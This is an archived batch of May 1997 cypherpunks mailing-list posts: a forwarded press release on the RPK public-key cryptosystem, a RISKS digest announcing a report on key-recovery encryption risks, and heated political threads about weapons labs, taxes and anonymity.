> -----------------------------------------------------------------------
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Thu, 22 May 1997 10:07:16 +0800
To: cypherpunks@manifold.algebra.com
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions (fwd)
Message-ID: <199705220159.UAA23432@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Jack Oswald -----

>From cpunks@manifold.algebra.com  Wed May 21 01:48:18 1997
Message-ID: <01BC6572.43D8F3A0@1Cust125.Max9.San-Francisco2.CA.MS.UU.NET>
From: Jack Oswald <joswald@rpkusa.com>
To: "'joswald@rpkusa.com'" <joswald@rpkusa.com>,
        "'maujacca@iprolink.ch'"
	 <maujacca@iprolink.ch>
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next Generation Wireless Electronic Transactions
Date: Tue, 20 May 1997 18:41:20 -0700
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm=20

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm=20

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald@rpkusa.com, =
http://www.rpk.co.nz=20
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca@iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next =
Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce =
HAWK VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the =
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss =
application specific integrated circuit (ASIC) design firm have chosen =
the RPK Fast Public Key Cryptosystem to provide strong cryptographic =
security in a next generation wireless electronic transactions =
application.  At the same time, EPFL and ADESA unveiled HAWK a new =
generation cryptography-enhanced microprocessor specifically designed =
for use in high speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive =
evaluation of all existing cryptosystems based on well known and =
understood cryptographic techniques," said Maurice Jaccard, Managing =
Director of ADESA, Inc. "With RPK there are no compromises. We get =
uncompromised security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted =
cryptographic techniques," said Jack Oswald, President and CEO of RPK =
Inc. "Having RPK chosen by the Swiss for this breakthrough =
electronic-commerce application is the strongest endorsement we could =
possibly achieve for the RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype =
application that promises to become the "wallet of the future".  This =
new wireless electronic transaction application may take the form of a =
credit card, a watch or a key chain and will sport features analogous to =
the leather wallets used today by billions of people worldwide.  Early =
designs of the system allow the user to withdraw and hold cash in =
multiple currencies, as well as, purchase and hold vouchers for hotels, =
planes and car rentals all through the use of wireless communications =
technology.  Officials in charge of the project envision that such =
devices could also become a personal key chain for gaining access to =
motor vehicles, offices and dwellings, in addition to traditional credit =
card uses.

ADESA concluded that performance of the RPK implementation in the =
prototype far exceeded existing smart card implementations based on the =
RSA and other algorithms.  The RPK technology performs the necessary =
encryption functions in less than 10 milliseconds using an 823-bit key =
compared to the best performing RSA-based equivalents that require =
greater than 100 milliseconds to perform the same type of function using =
a much weaker 512-bit key.  The application is not limited to 823-bit =
keys.  The design of the system, based on the new HAWK processor is =
flexible and can accommodate and process various sized keys, smaller or =
larger than 823 bits based on downloadable parameters.  ADESA officials =
explained that the simplicity of the RPK algorithm makes it much simpler =
to implement than the popular RSA approach.  It was RPK's simplicity, =
offering a much faster and cheaper solution while providing even higher =
security, that drove the choice over RSA for this application. =20


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on =
mathematics widely used in cryptography today.  It was designed to be =
immediately commercially viable without the years of study that a new =
area of mathematics normally requires, such as the Elliptic Curve =
Cryptosystem (ECC).  The source of the security for RPK is the same as =
that of Diffie-Hellman key exchange, a widely used and well studied =
cryptographic technique. RPK offers real advantages for high speed =
networking, SmartCard, wireless communication applications as well as =
high volume software processes such as credit card transactions.=20

RPK has at its core an invention called a Mixture Generator.  In the =
preferred implementation, three fairly long linear feedback shift =
registers are used.  This state machine has two modes of operation.  One =
that uses the shift registers for exponentiation and the other as a =
generator of a random stream of bits used in a combining phase for the =
actual encryption.  Effectively, RPK allows for the amortization of two =
"costly" exponentiations over the entire length of a message because the =
core engine is used to initially establish a secure state of the machine =
and then switches modes to perform very high speed encryption.  This has =
been referred to as a paradigm shift where the operation of encryption =
does not require the costly calculations that an RSA or even an ECC =
implementation would require for each block of data that is about the =
size of the key.  This mechanism can also be implemented in silicon =
quite efficiently such that at high strength it is much cheaper to =
produce than alternative technologies.  Finally, it is also possible to =
create a Mixture Generator that is made up of Elliptic Curve groups =
which would provide a similarly speedy and efficient initialization mode =
that could still produce high speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than =
three years of research and development conducted at the EPFL in =
Lausanne, Switzerland in the area of high speed compression and =
encryption.  The HAWK processor will benefit most cryptography =
implementations but is particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen =
yet for implementing cryptographic processes in silicon," said Bill =
Raike, Chief Technology Officer for RPK Inc. and inventor of the RPK =
fast public key cryptosystem.  "HAWK breaks the barrier for high speed, =
low cost, low power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption =
technology.  RPK was invented and originally patented in New Zealand.  =
The company is therefore unaffected by restrictive U.S. export rules.  =
RPK has been successfully exported to virtually all countries of the =
world at high strength.  The company's headquarters are based in San =
Francisco, California, USA, with an offshore research and development =
center located outside of Auckland, New Zealand. http://www.rpk.co.nz=20

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland =
with expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne, =
Switzerland.  The school is known for its work in advanced processor =
design.


***

----- End of forwarded message from Jack Oswald -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 22 May 1997 12:22:32 +0800
To: Kent Crispin <cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <v0300780cafa971508a52@[207.94.249.80]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:41 PM -0700 5/21/97, Kent Crispin wrote:
>On Wed, May 21, 1997 at 11:41:08AM -0800, Tim May wrote:
>> There are perfectlylogical game-theoretic reasons why the Washington
>> bureaucracy has gotten so large, why every one of the 500+ Congresscritters
>> has a staff of dozens working for him or her, why each of the dozen or so
>> major Cabinet departments has dozens of buildings and thousands (even
>> millions, as with DoD) of worker bees, why each entity in government seeks
>> constantly to expand its scope and powers, and why the number of rules,
>> regulations, laws, emergency orders, and edicts expands inexorably every
>> day.
>
>I don't think this problem can be "fixed" in any meaningful way.  You
>just argued that the problem is a consequence of "perfectly logical
>game-theoretic reasons".

I expect Kent is right.  Fixing the problem is a bit like closing tax
loopholes, as soon as you close the ones people are using, a lot of very
smart, motivated people start looking for new ones.  In the case of
personal power, the same thing happens.  You have a revolution (peaceful*
or otherwise) and the power relationships get stirred up and there is
enough looseness in the system so people can breath freely.  Then the power
hungry start learning how to work the new system and the looseness goes
away and you are back, more or less where you started.  I think Thomas
Jefferson said something about this.

* Peaceful revolutions since 1950 in the USA: (1) Civil Rights/Vietnam war
- Civil disobedience and reasoned argument changed the moral compass of the
nation over the opposition of the bureaucracy, congress, and the president.
(2) Repeal of the federal 55 MPH speed limit.  Massive law breaking caused
the politicians to support an issue over the massed opposition of the
bureaucrats and beltway bandits.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 12:51:08 +0800
To: cypherpunks@algebra.com
Subject: Nuking the Weapons Labs
In-Reply-To: <v03007807afa968fc0dbe@[207.167.93.63]>
Message-ID: <v03007809afa988c9868b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:07 PM -0800 5/21/97, Willaim H. Geiger III wrote:

>In <v03007807afa968fc0dbe@[207.167.93.63]>, on 05/21/97
>   at 09:16 PM, Tim May <tcmay@got.net> said:
>
>>(My spies within LLL tell me of desperate efforts to find alternative
>>funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
>>government lab which loses its main raison d'etre cannot reconfigure
>>itself as a "think tank" for private industry. Gimme a break.)
>
>
>"think" and "government" should never be used in the same paragraph. I was
>laughing so hard at the prospects of government drones trying to compete
>in the private sector I pulled a muscle.

Believe it. I suspect the "we can help you" program Kent Crispin is working
on (some form of key recovery) is just such a program. When we hire people
to design and build H-bombs and they instead collect their paychecks by
working on "key recovery" schemes for Big Brother, something is drastically
amiss.

(I'm surprised no whistle-blowing journalists are picking up on this story.)

Lowell Wood's O-Group (or W-Group...I don't have my papers handy) tried
this some years back, as did the "laser pantography" group. Laser
pantography was one of those technologies the trendy science magazines,
like "Science '86" and "High Technology" once gushed over as being
TEOSVASWKI (The End Of Silicon Valley As We Know It). Not very
surprisingly, laser pantography is nowhere to be seen.

And there was the attempted commercialization of LLL's (alleged) CAD tools.
Silvar-Lisco was the name I recall from those days, c. 1984-86, though I
may be confusing it with another of the late-lamented CAD companies.

And the S-1 supercomputer project, using all of the above-named G-job
technologies.

None of these "commercialization" efforts went anywhere, nor was it ever
appropriate for taxpayer-funded labs to enter into competition with
privately-funded enterprises like Cadence, Daisy, Cray, etc.

To be sure, LLL and LANL do pretty nice jobs of making hydrogen bombs. Now
that H-bombs are passe, "remediation" is one way they're seeking contracts
to survive. (Remediation of nuclear waste and existing weapons.)

And things like the Extreme UV project. Look for an announcement soon.

Hey, it's seemingly a good idea for these national labs, paid for by the
taxpayers, to "do work for industry." However, a moment's thought will
point out the problems implicit in such deals: if they do the Extreme UV
work for Intel, say, what about TI and Motorola?.

And an even better thing to tell them is this:

"You did your work well. The Cold War is over. No job lasts forever, not in
Detroit, not in Seattle, and not in Livermore. Thank you, and good luck in
the private sector. Your work here is done."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Gilchrist <dgilx@mindspring.com>
Date: Thu, 22 May 1997 10:19:45 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Just Say "No" to Congress
Message-ID: <1.5.4.32.19970522020304.006b9780@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:26 PM 5/21/97 -0400, Ray Arachelian wrote:
>On Sun, 18 May 1997, Vladimir Z. Nuri wrote:
>
>> R.A.:
>> >You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
>> >gets taken out of every pay check before you even see it.   Then, come 
>> >April 15, you fill a piece of paper out with the hope you'll get some of 
>> >it back.  But sometimes, Uncle Sam takes even more.

Don't do it.  Work for yourself.  You make four payments a year. 

<snip>

>I myself consult out.  Consulting out means that the money isn't taken 
>out at all.  You just have to pay it back come April 15.  Day job, being 
>a full time job, money gets taken out automagically by the evil agents 
>of the IRS critters.  Consulting money, come the 1099 form, gets taxed 
>after.

Incorporate and you don't even get a 1099.  

>
>So even if you manage to upturn this law and get to keep the money until 
>April 15, it wouldn't affect me much.  IMHO it's much easier if the money 
>gets withheld, then having to pull hairs out doing tax forms come April.
>

Turbotax is hairless, painless and stupid proof. I know. I use it.

>Now if you can somehow repeal income tax, that would be a useful 
>achievement. :)

Consulting out is on the right track.  While you are waiting for the income
tax laws to change, _take advantage_ of what is lawfully available.  Crispin
wouldn't have a clue on this one.  Incorporate.  Any state.  It's cheap.
You can avoid some social security taxes for a system that won't be there in
few years anyway.  Remember when you could refile back a year or two if you
had a bad year (income averaging)?  A corporation can carry a loss back 15
years or *forward* , too, _and_ get a tax refund practically instantly.  It
is imho the levelest playing field available for the individual (wearing the
impenetrable corporate cloak (no shit, bulletproof), impenetrable even by
the irs) against taxation.  As for tax forms in April, use Turbotax.  You
don't have to know shit and it does complicated things for you like
depreciation.  Depreciate your car, your home office etc.  Own your assets
personally and lease them to your corporation.  Rents are free of social
security taxes.  Your car, your office etc.  With a little imagination you
may be able to make it fit your situation. If you're straight salary, _no_
other (reportable) income, you may be pretty much screwed but paying them
when you don't have to doesn't make much sense.
>
<snip>
>> I don't buy into the alienation and cynicism on this list peddled
>> by TCM, truthmonger, et.al., and I suggest that anyone else who
>> does is selling themself short, and in fact part of the problem and
>> not the solution.

That's my point, use them when you can.
>
>"If you're not part of the solution, you're part of the precipitate"  --
>whomever.. Say, whatever you've been smoking,

precipitate

David





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Thu, 22 May 1997 11:49:03 +0800
To: cypherpunks@toad.com
Subject: (Fwd) key recovery report, information hiding, and fire ants
Message-ID: <199705220314.WAA13532@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Wed, 21 May 1997 09:45:53 -0700 (PDT)
From:          Phil Agre <pagre@weber.ucsd.edu>
To:            rre@weber.ucsd.edu
Subject:       key recovery report, information hiding, and fire ants
Reply-to:      rre-maintainers@weber.ucsd.edu

[I trust Matt and Ross, but the fire ants story is too good to be true.]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
This message was forwarded through the Red Rock Eater News Service (RRE).
Send any replies to the original author, listed in the From: field below.
You are welcome to send the message along to others but please do not use
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for (un)subscribing, send an empty message to  rre-help@weber.ucsd.edu
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Date: Wed, 21 May 1997 07:05:53 -0700 (PDT)
From: risks@csl.sri.com
Subject: RISKS DIGEST 19.17

RISKS-LIST: Risks-Forum Digest  Wednesday 21 May 1997  Volume 19 : Issue 17

----------------------------------------------------------------------

Date: Tue, 20 May 1997 20:27:08 -0400
From: Matt Blaze <mab@research.att.com>
Subject: RISKS of Key-Recovery Encryption

In January 1997, an ad-hoc group of cryptographers and computer scientists
met to explore the technical implications, risks, and costs of the ``key
recovery'', ``key escrow'' and ``trusted third party'' encryption systems
being promoted by various governments.  We have just completed a preliminary
report of our findings.

We have specifically chosen not to endorse, condemn, or draw conclusions
about any particular regulatory or legislative proposal or commercial
product.  Rather, it is our hope that our findings will shed further light
on the debate over key recovery and provide a long-needed baseline analysis
of the costs of key recovery as policymakers consider embracing one of the
most ambitious and far-reaching technical deployments of the information
age.

Our preliminary report is available as follows:

On the web at:
   http://www.crypto.com/key_study

In PostScript format via ftp:
   ftp://research.att.com/dist/mab/key_study.ps

In plain ASCII text format via ftp:
   ftp://research.att.com/dist/mab/key_study.txt

=======================================================================

	      THE RISKS OF KEY RECOVERY, KEY ESCROW, AND
		    TRUSTED THIRD-PARTY ENCRYPTION

			     Hal Abelson
                            Ross Anderson
			  Steven M. Bellovin
			     Josh Benaloh
			      Matt Blaze
	                   Whitfield Diffie
			     John Gilmore
			   Peter G. Neumann
			   Ronald L. Rivest
			 Jeffery I. Schiller
			    Bruce Schneier

			     21 May 1997

Executive Summary:

A variety of ``key recovery,''``key escrow,'' and ``trusted third party''
encryption requirements have been suggested in recent years by government
agencies seeking to conduct covert surveillance within the changing
environments brought about by new technologies.  This report examines the
fundamental properties of these requirements and attempts to outline the
technical risks, costs, and implications of widely deploying systems that
provide government access to encryption keys.

The deployment of a global key-recovery-based encryption infrastructure to
meet law enforcement's stated specifications will result in substantial
sacrifices in security and greatly increased costs to the end-user.
Building the secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field.  Even if such an infrastructure could be built, the
risks and costs of such a system may ultimately prove unacceptable.

These difficulties are a function of the basic law enforcement requirements
proposed for key-recovery encryption systems.  They exist regardless of the
design of the recovery system -- whether the system uses private-key
cryptography or public-key cryptography; whether the database is split with
secret sharing techniques or maintained in a single hardened secure
facility; and whether the recovery service provides private keys, session
keys, or merely decrypts specific data as needed.

All key-recovery systems require the existence of a highly sensitive and
highly available secret key or collection of keys that must be maintained in
a secure manner over an extended time period.  These systems must make
decryption information quickly accessible to law enforcement agencies
without notice to the key owners.  These basic requirements make the problem
of general key recovery difficult and expensive -- and potentially too
insecure and too costly for many applications and many users.

Attempts to force the widespread adoption of key-recovery encryption through
export controls, import or domestic use regulations, or international
standards should be considered in light of these factors.  The public must
carefully consider the costs and benefits of embracing government-access key
recovery before imposing the new security risks and spending the huge
investment required (potentially many billions of dollars, in direct and
indirect costs) to deploy a global key recovery infrastructure.

------------------------------

Date: Sat, 17 May 1997 13:59:48 +0100
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
Subject: Information-Hiding Workshop

Call for Papers, WORKSHOP ON INFORMATION HIDING (pruned for RISKS)
15 - 17 April 1998, Portland, Oregon

Many researchers are interested in hiding information or in stopping other
people doing this. Current research themes include copyright marking of
igital objects, covert channels in computer systems, subliminal channels in
cryptographic protocols, low-probability-of-intercept communications,
broadcast encryption schemes, and various kinds of anonymity services
ranging from steganography through location security to digital elections.

These closely linked areas of study were brought together in 1996 by a
workshop on information hiding held at the Isaac Newton Institute in
Cambridge. This was felt to be very worthwhile by the research community,
and it was decided to hold a second workshop in 1998.

This second international workshop on information hiding will be held in
Portland, Oregon from the 15th to the 17th April 1998.

See http://www.cl.cam.ac.uk/users/rja14/ihws.html for the call for papers.
Papers should be submitted by 31 Dec 1997 to awk@mailbox.jf.intel.com
(Program Chairman David Aucsmith, Intel Architecture Labs, 5200 N. E. Elam
Young Parkway, Hillsboro, OR 97124-6497, USA).  The program committee also
includes Ross Anderson, Steve Low, Ira Moskowitz, Andreas Pfitzmann,
Jean-Jacques Quisquater, Gus Simmons, and Michael Waidner.

Details of the first (1996) information-hiding workshop are at
http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html

  [Watch out for the invisible steganosauruses.  PGN]

------------------------------

Date: Tue, 20 May 1997 12:33:20 -0400
From: "Mich Kabay [NCSA]" <Mich_Kabay@compuserve.com>
Subject: Another Computer Bug: Ants in the Machine

>From WIRED via PointCast:

> Another Computer Bug: Ants in the Machine
> by Ashley Craddock, 19 May 1997

> Stephanie Upps watched in horror as one of her final papers disappeared
> off her PowerBook at 2 a.m. one night during her last semester as a
> University of Texas graduate student. Her friends couldn't find the bug,
> so she called the 1-800 support line in desperation.  "They told me to
> pull out the battery and give them the serial number," she says. "When I
> did, it was just crawling with ants."  Far from a fluke, Upps' encounter
> with ants in the machine is happening to others with greater
> frequency. "The problem's endemic across Texas," she said.

The author makes the following key points:

* Major problem is fire ants, an exotic introduced to the Southern US in
  the 1920s.

* Fire ants seem to like living in and eating electrical equipment.

* The critters may be attracted by electrical fields; Craddock writes,`
  "They have some short-range attraction to electricity," says Dr. Harlan
  Thorvilson of Texas Tech's Department of Plant and Soil Sciences. . . .
  "They become almost mesmerized and behave oddly, piling dirt against the
  wires and signaling to other members of their communities who come and
  join them." ' 

[MK: I don't want to make a mountain out of an ant-hill, but this looks like
a case of form(icidae) over function.  I expect further creepy puns from our
moderator, perhaps about how the victims are engaged in formication and
should ant-icipate trouble.]

M.E. Kabay, PhD, CISSP (Kirkland, QC), Director of Education
National Computer Security Association (Carlisle, PA) http://www.ncsa.com

  [Turn on the fire-hider-ants; someone is in for a shock.  PGN]

------------------------------

End of RISKS-FORUM Digest 19.17 
************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 14:00:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <19970521224401.50679@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 06:39:39PM +0100, Adam Back wrote:
> 
> Bill Stewart <stewarts@ix.netcom.com> writes:
> > At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> > >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> > 	[rant deleted - bill]
> > >Speaking of power corrupting, notice how the power to speak 
> > >anonymously has destroyed this poor souls brain.
> 
[...]
> 
> In short I believe you picked on the wrong guy if you considered
> Attila an example of someone with lots to say when hiding behind
> strong anonymity.
> 
> Adam

I should have posted my comment anonymously, obviously.  I appologize 
to Mr Hun and the world for my mistake.  I must have confused him 
with one of the TMs.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 12:22:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Cypherpunk criminalization
In-Reply-To: <v03007807afa968fc0dbe@[207.167.93.63]>
Message-ID: <199705220417.XAA08066@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007807afa968fc0dbe@[207.167.93.63]>, on 05/21/97 
   at 09:16 PM, Tim May <tcmay@got.net> said:

>(My spies within LLL tell me of desperate efforts to find alternative
>funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
>government lab which loses its main raison d'etre cannot reconfigure
>itself as a "think tank" for private industry. Gimme a break.)


"think" and "government" should never be used in the same paragraph. I was
laughing so hard at the prospects of government drones trying to compete
in the private sector I pulled a muscle.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Rumour: NT means Not Tested

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM4PXCI9Co1n+aLhhAQHZSwP+KyBe6YBoJya4QIAq+1wXLwnQ6z93hpT8
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4H4Ivw87pKg=
=ObEC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 14:26:32 +0800
To: cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <19970521231024.42348@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 07:16:03PM -0800, Tim May wrote:
> At 5:41 PM -0800 5/21/97, Kent Crispin wrote:
> 
> >I don't think this problem can be "fixed" in any meaningful way.  You
> >just argued that the problem is a consequence of "perfectly logical
> >game-theoretic reasons".  There is nothing in the crypto-anarchy
> 
> Game-theoretic reasons depends on the rules of the game. 

The game of personal power isn't going to change.

[...]

> But more rules need to change. Many of us (most of us?) expect strong
> crypto to be a catalyst for some major changes. You, Kent, obviously
> disagree,

Yep.  I disagree.

> and push for more government involvement to shore up the existing
> rules.

False.  How *do* you come up with these?

> You are not evil, as per my point, but your kind will be swept aside,
> possibly violently but probably through a shut-down of the Livermore Labs.
> 
> (My spies within LLL tell me of desperate efforts to find alternative
> funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
> government lab which loses its main raison d'etre cannot reconfigure itself
> as a "think tank" for private industry. Gimme a break.)

Well, your spies aren't doing a very good job.  The new buzzword is 
"stockpile stewardship" -- and in the face of a comprehensive test ban 
treaty, there is no way to be sure that things will go off when you 
want them to.  So the importance of computer simulations has grown, 
and lots of money is being put into that.  These new teraflop 
machines cost lots, and need lots of infrastructure -- the one on tap 
in the 3 year timeframe, I hear, requires over 10 megawatts of 
electricity (that includes the cooling).

Still, computers are probably cheaper than physical tests...but I'm a 
computer scientist, and not a physicist...

[...]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 15:00:13 +0800
To: cypherpunks@algebra.com
Subject: Re: Nuking the Weapons Labs
In-Reply-To: <v03007807afa968fc0dbe@[207.167.93.63]>
Message-ID: <19970521232341.43800@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 09:39:57PM -0800, Tim May wrote:
> At 8:07 PM -0800 5/21/97, Willaim H. Geiger III wrote:
[...]
> >"think" and "government" should never be used in the same paragraph. I was
> >laughing so hard at the prospects of government drones trying to compete
> >in the private sector I pulled a muscle.
> 
> Believe it. I suspect the "we can help you" program Kent Crispin is working
> on (some form of key recovery) is just such a program.

Nope.

[...]

> None of these "commercialization" efforts went anywhere, nor was it ever
> appropriate for taxpayer-funded labs to enter into competition with
> privately-funded enterprises like Cadence, Daisy, Cray, etc.
> 
> To be sure, LLL and LANL do pretty nice jobs of making hydrogen bombs. Now
> that H-bombs are passe, "remediation" is one way they're seeking contracts
> to survive. (Remediation of nuclear waste and existing weapons.)
> 
> And things like the Extreme UV project. Look for an announcement soon.

As I said in a previous post, your spies aren't serving you well.  
However, it is just as well that you remain poorly informed.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 14:45:08 +0800
To: cypherpunks@cyberpass.net
Subject: Huns 1, Romans 0
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <v0300780aafa9a68682fd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:44 PM -0800 5/21/97, one of the KCs wrote:

>I should have posted my comment anonymously, obviously.  I appologize
>to Mr Hun and the world for my mistake.  I must have confused him
>with one of the TMs.

One of the TMs? How could you mistake Attila for me?


--TM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 16:00:22 +0800
To: cypherpunks@toad.com
Subject: Re: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <199705212141.OAA14578@fat.doobie.com>
Message-ID: <19970521233436.44929@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 02:41:57PM -0700, Huge Cajones Remailer wrote:
[...]
> 
>   I don't have a problem with the opinions or points of view that
> Kent expresses on the cypherpunks list, but I do have a problem
> with the fact that his posts seem to reflect a pre-programmed
> world-view, with little thought given to the actual content and
> concepts expressed by those he is replying to.
>   I find Kent's posts to be much like the ASCII art that is posted
> to the list--each post is slightly different, but predictable. The
> aspersions that Kent casts on those such as Attila and Tim serve
> no purpose other than to accentuate the fact that he is envious
> of their propensity for dealing on a real-world level with the
> concepts he addresses from an intellectual ivory tower.
> 
[...]
>    Kent's posts reflect, in my opinion, what he has "learned to
> believe." When I read Kent's posts, I don't feel like I learn
> who he is, but rather, I learn the "position" that he is taking
> on this or that point.
>    Real name/anonymity aside, I see Attila as real and Kent as a
> shadowy figure. My advice to Kent would be, "If you're going to
> be an asshole, at least be a _real_ asshole."

[...] 

>   Once we form an "opinion" of _who_ somebody is and _what_they_
> believe_, and _who_they_are_, then we "interpret" what they
> have to say in their posts in accordance with our learned
> perception of them.

Boy, ain't that the truth.  Witness what you wrote above.

> I am:
> TruthMonger # -96

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
